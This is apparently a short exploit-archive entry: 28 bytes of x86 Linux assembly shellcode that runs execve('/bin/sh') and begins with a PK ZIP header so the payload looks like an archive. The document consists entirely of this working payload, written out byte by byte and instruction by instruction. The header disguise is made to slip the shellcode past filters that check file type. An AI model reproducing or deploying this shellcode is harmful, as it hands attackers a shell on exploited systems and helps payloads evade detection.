# # x86/linux - execve("/bin/sh", ["/bin/sh", NULL]) + ZIP Header - 28 bytes # - izik@tty64.org # .section .text .global _start _start: # # PK[\03\04], PK[Zip] archive data header (5 bytes) # .byte 0x50 .byte 0x4b .byte 0x03 .byte 0x04 .byte 0x24 # # execve("/bin/sh", ["/bin/sh", NULL]); # push $0xb popl %eax cdq push %edx push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %edx push %ebx mov %esp, %ecx int $0x80